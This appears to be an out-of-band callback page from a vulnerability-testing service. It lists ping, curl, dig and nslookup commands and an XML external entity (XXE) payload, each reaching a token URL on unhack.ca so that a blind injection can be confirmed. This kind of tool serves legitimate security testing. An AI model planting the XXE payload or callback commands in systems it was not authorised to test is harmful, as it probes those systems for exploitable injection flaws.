$ ping -c1 -p 00d3fb04dd9a74030922491274123d00 unhack.ca
 
$ curl http://unhack.ca/p/d3fb04dd9a74030922491274123d
 
$ dig d3fb04dd9a74030922491274123d @unhack.ca
 
$ dig d3fb04dd9a74030922491274123d.ns.unhack.ca
 
C:\> nslookup d3fb04dd9a74030922491274123d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d3fb04dd9a74030922491274123d">]>
    <foo>&xxe;</foo>
Waiting for ping...